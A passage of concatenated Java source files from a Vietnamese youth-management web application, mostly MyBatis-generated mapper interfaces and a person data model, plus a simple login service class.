Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMScreen record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMScreen record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMScreen> selectByExample(QltnMScreenExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMScreen selectByPrimaryKey(String screenId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMScreen record, @Param("example") QltnMScreenExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMScreen record, @Param("example") QltnMScreenExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMScreen record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_screen * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMScreen record); }``` 9f090bb115e5f3b11f27d4f7d5d21779e42cdf94.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMSignature; import vn.youthmanager.ict.common.db.model.QltnMSignatureExample; public interface QltnMSignatureMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMSignatureExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMSignatureExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(String signatureId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMSignature record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMSignature record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMSignature> selectByExample(QltnMSignatureExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMSignature selectByPrimaryKey(String signatureId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMSignature record, @Param("example") QltnMSignatureExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMSignature record, @Param("example") QltnMSignatureExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMSignature record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_signature * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMSignature record); }``` LoginService.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import vn.youthmanager.ict.common.db.model.QltnMUsers; import vn.youthmanager.ict.youth.dao.LoginDao; /** * * @author nylf1992 * */ @Service public class LoginService { private static Logger logger = Logger.getLogger(HomeService.class); @Autowired private LoginDao loginDao; public List<QltnMUsers> searchdata(String userName, String password) { HashMap<String, Object> params = new HashMap<String, Object>(); // set params for SQL params.put("username", userName); params.put("password", password); // Khởi Tạo 1 Mảng LIST kiểu QltnMUsers. List<QltnMUsers> bnn0007ResultList = new ArrayList<QltnMUsers>(); try { logger.info("User searching started"); // search starts bnn0007ResultList = loginDao.getLoginMapper().searchData(params); } catch (OutOfMemoryError ex) { ex.printStackTrace(); QltnMUsers tempObj = new QltnMUsers(); bnn0007ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0007ResultList = null; } return bnn0007ResultList; } } ``` Sym0014Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0014Result; /** * * @author nylf1992 * */ public interface Sym0014Mapper { List<Sym0014Result> searchData(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdWards (Map<String, Object> params); } ``` QltnMPerson.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMPerson { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.PERSON_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String personId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.CATE_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String cateId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.STATUS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String statusId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.PERSON_NAME * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String personName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.DATE_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String dateOfBirth; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.MONTH_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String monthOfBirth; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.YEAR_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String yearOfBirth; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.PHONE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String phone; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.KSKQUAN_STT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String kskquanStt; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.LLTN_STT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String lltnStt; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.IDENTITY_CARD * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String identityCard; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.PLACE_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String placeOfBirth; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.NATIVE_COUNTRY * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String nativeCountry; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.NATION * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String nation; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.RELIGION * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String religion; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.PERMANENT_ADDRESS * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String permanentAddress; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String temporaryResidenceAddress; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.NATIONAL * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String national; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.CITY_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String cityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.DISTRICT_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String districtId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.WARDS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String wardsId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.TOWN_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String townId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.GROUPS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String groupsId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.ELEMENT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String element; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.UNIVERSITY_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String universityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.EDUCATIONAL_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String educationalId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.GRADUATION_YEAR * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String graduationYear; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.SPECIALIZED_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String specializedId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.JOB_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String jobId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.WORK_PLACE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String workPlace; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.CREATE_USER_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.CREATE_DATE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.UPDATE_USER_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.LAST_UPDATE_DATE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_person.DELETE_FLAG * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.PERSON_ID * * @return the value of qltn_m_person.PERSON_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getPersonId() { return personId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.PERSON_ID * * @param personId the value for qltn_m_person.PERSON_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setPersonId(String personId) { this.personId = personId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.CATE_ID * * @return the value of qltn_m_person.CATE_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getCateId() { return cateId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.CATE_ID * * @param cateId the value for qltn_m_person.CATE_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setCateId(String cateId) { this.cateId = cateId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.STATUS_ID * * @return the value of qltn_m_person.STATUS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getStatusId() { return statusId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.STATUS_ID * * @param statusId the value for qltn_m_person.STATUS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setStatusId(String statusId) { this.statusId = statusId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.PERSON_NAME * * @return the value of qltn_m_person.PERSON_NAME * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getPersonName() { return personName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.PERSON_NAME * * @param personName the value for qltn_m_person.PERSON_NAME * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setPersonName(String personName) { this.personName = personName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.DATE_OF_BIRTH * * @return the value of qltn_m_person.DATE_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getDateOfBirth() { return dateOfBirth; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.DATE_OF_BIRTH * * @param dateOfBirth the value for qltn_m_person.DATE_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setDateOfBirth(String dateOfBirth) { this.dateOfBirth = dateOfBirth; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.MONTH_OF_BIRTH * * @return the value of qltn_m_person.MONTH_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getMonthOfBirth() { return monthOfBirth; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.MONTH_OF_BIRTH * * @param monthOfBirth the value for qltn_m_person.MONTH_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setMonthOfBirth(String monthOfBirth) { this.monthOfBirth = monthOfBirth; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.YEAR_OF_BIRTH * * @return the value of qltn_m_person.YEAR_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getYearOfBirth() { return yearOfBirth; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.YEAR_OF_BIRTH * * @param yearOfBirth the value for qltn_m_person.YEAR_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setYearOfBirth(String yearOfBirth) { this.yearOfBirth = yearOfBirth; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.PHONE * * @return the value of qltn_m_person.PHONE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getPhone() { return phone; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.PHONE * * @param phone the value for qltn_m_person.PHONE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setPhone(String phone) { this.phone = phone; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.KSKQUAN_STT * * @return the value of qltn_m_person.KSKQUAN_STT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getKskquanStt() { return kskquanStt; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.KSKQUAN_STT * * @param kskquanStt the value for qltn_m_person.KSKQUAN_STT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setKskquanStt(String kskquanStt) { this.kskquanStt = kskquanStt; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.LLTN_STT * * @return the value of qltn_m_person.LLTN_STT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getLltnStt() { return lltnStt; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.LLTN_STT * * @param lltnStt the value for qltn_m_person.LLTN_STT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setLltnStt(String lltnStt) { this.lltnStt = lltnStt; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.IDENTITY_CARD * * @return the value of qltn_m_person.IDENTITY_CARD * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getIdentityCard() { return identityCard; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.IDENTITY_CARD * * @param identityCard the value for qltn_m_person.IDENTITY_CARD * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setIdentityCard(String identityCard) { this.identityCard = identityCard; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.PLACE_OF_BIRTH * * @return the value of qltn_m_person.PLACE_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getPlaceOfBirth() { return placeOfBirth; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.PLACE_OF_BIRTH * * @param placeOfBirth the value for qltn_m_person.PLACE_OF_BIRTH * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setPlaceOfBirth(String placeOfBirth) { this.placeOfBirth = placeOfBirth; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.NATIVE_COUNTRY * * @return the value of qltn_m_person.NATIVE_COUNTRY * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getNativeCountry() { return nativeCountry; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.NATIVE_COUNTRY * * @param nativeCountry the value for qltn_m_person.NATIVE_COUNTRY * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setNativeCountry(String nativeCountry) { this.nativeCountry = nativeCountry; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.NATION * * @return the value of qltn_m_person.NATION * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getNation() { return nation; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.NATION * * @param nation the value for qltn_m_person.NATION * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setNation(String nation) { this.nation = nation; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.RELIGION * * @return the value of qltn_m_person.RELIGION * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getReligion() { return religion; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.RELIGION * * @param religion the value for qltn_m_person.RELIGION * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setReligion(String religion) { this.religion = religion; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.PERMANENT_ADDRESS * * @return the value of qltn_m_person.PERMANENT_ADDRESS * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getPermanentAddress() { return permanentAddress; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.PERMANENT_ADDRESS * * @param permanentAddress the value for qltn_m_person.PERMANENT_ADDRESS * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setPermanentAddress(String permanentAddress) { this.permanentAddress = permanentAddress; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @return the value of qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getTemporaryResidenceAddress() { return temporaryResidenceAddress; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @param temporaryResidenceAddress the value for qltn_m_person.TEMPORARY_RESIDENCE_ADDRESS * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setTemporaryResidenceAddress(String temporaryResidenceAddress) { this.temporaryResidenceAddress = temporaryResidenceAddress; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.NATIONAL * * @return the value of qltn_m_person.NATIONAL * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getNational() { return national; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.NATIONAL * * @param national the value for qltn_m_person.NATIONAL * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setNational(String national) { this.national = national; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.CITY_ID * * @return the value of qltn_m_person.CITY_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getCityId() { return cityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.CITY_ID * * @param cityId the value for qltn_m_person.CITY_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setCityId(String cityId) { this.cityId = cityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.DISTRICT_ID * * @return the value of qltn_m_person.DISTRICT_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getDistrictId() { return districtId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.DISTRICT_ID * * @param districtId the value for qltn_m_person.DISTRICT_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setDistrictId(String districtId) { this.districtId = districtId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.WARDS_ID * * @return the value of qltn_m_person.WARDS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getWardsId() { return wardsId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.WARDS_ID * * @param wardsId the value for qltn_m_person.WARDS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setWardsId(String wardsId) { this.wardsId = wardsId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.TOWN_ID * * @return the value of qltn_m_person.TOWN_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getTownId() { return townId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.TOWN_ID * * @param townId the value for qltn_m_person.TOWN_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setTownId(String townId) { this.townId = townId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.GROUPS_ID * * @return the value of qltn_m_person.GROUPS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getGroupsId() { return groupsId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.GROUPS_ID * * @param groupsId the value for qltn_m_person.GROUPS_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setGroupsId(String groupsId) { this.groupsId = groupsId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.ELEMENT * * @return the value of qltn_m_person.ELEMENT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getElement() { return element; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.ELEMENT * * @param element the value for qltn_m_person.ELEMENT * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setElement(String element) { this.element = element; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.UNIVERSITY_ID * * @return the value of qltn_m_person.UNIVERSITY_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getUniversityId() { return universityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.UNIVERSITY_ID * * @param universityId the value for qltn_m_person.UNIVERSITY_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setUniversityId(String universityId) { this.universityId = universityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.EDUCATIONAL_ID * * @return the value of qltn_m_person.EDUCATIONAL_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getEducationalId() { return educationalId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.EDUCATIONAL_ID * * @param educationalId the value for qltn_m_person.EDUCATIONAL_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setEducationalId(String educationalId) { this.educationalId = educationalId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.GRADUATION_YEAR * * @return the value of qltn_m_person.GRADUATION_YEAR * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getGraduationYear() { return graduationYear; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.GRADUATION_YEAR * * @param graduationYear the value for qltn_m_person.GRADUATION_YEAR * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setGraduationYear(String graduationYear) { this.graduationYear = graduationYear; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.SPECIALIZED_ID * * @return the value of qltn_m_person.SPECIALIZED_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getSpecializedId() { return specializedId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.SPECIALIZED_ID * * @param specializedId the value for qltn_m_person.SPECIALIZED_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setSpecializedId(String specializedId) { this.specializedId = specializedId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.JOB_ID * * @return the value of qltn_m_person.JOB_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getJobId() { return jobId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.JOB_ID * * @param jobId the value for qltn_m_person.JOB_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setJobId(String jobId) { this.jobId = jobId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.WORK_PLACE * * @return the value of qltn_m_person.WORK_PLACE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getWorkPlace() { return workPlace; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.WORK_PLACE * * @param workPlace the value for qltn_m_person.WORK_PLACE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setWorkPlace(String workPlace) { this.workPlace = workPlace; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.CREATE_USER_ID * * @return the value of qltn_m_person.CREATE_USER_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.CREATE_USER_ID * * @param createUserId the value for qltn_m_person.CREATE_USER_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.CREATE_DATE * * @return the value of qltn_m_person.CREATE_DATE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.CREATE_DATE * * @param createDate the value for qltn_m_person.CREATE_DATE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.UPDATE_USER_ID * * @return the value of qltn_m_person.UPDATE_USER_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_person.UPDATE_USER_ID * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.LAST_UPDATE_DATE * * @return the value of qltn_m_person.LAST_UPDATE_DATE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_person.LAST_UPDATE_DATE * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_person.DELETE_FLAG * * @return the value of qltn_m_person.DELETE_FLAG * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_person.DELETE_FLAG * * @param deleteFlag the value for qltn_m_person.DELETE_FLAG * * @mbggenerated Sun Jun 25 14:35:20 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0051Result.java ```package vn.youthmanager.ict.youth.db.model; public class Sym0051Result { private String reportId; private String reportName; private String detailReportId; private String detailReportName; private String criteriaId; private String criteriaName; public String getReportId() { return reportId; } public void setReportId(String reportId) { this.reportId = reportId; } public String getReportName() { return reportName; } public void setReportName(String reportName) { this.reportName = reportName; } public String getDetailReportId() { return detailReportId; } public void setDetailReportId(String detailReportId) { this.detailReportId = detailReportId; } public String getDetailReportName() { return detailReportName; } 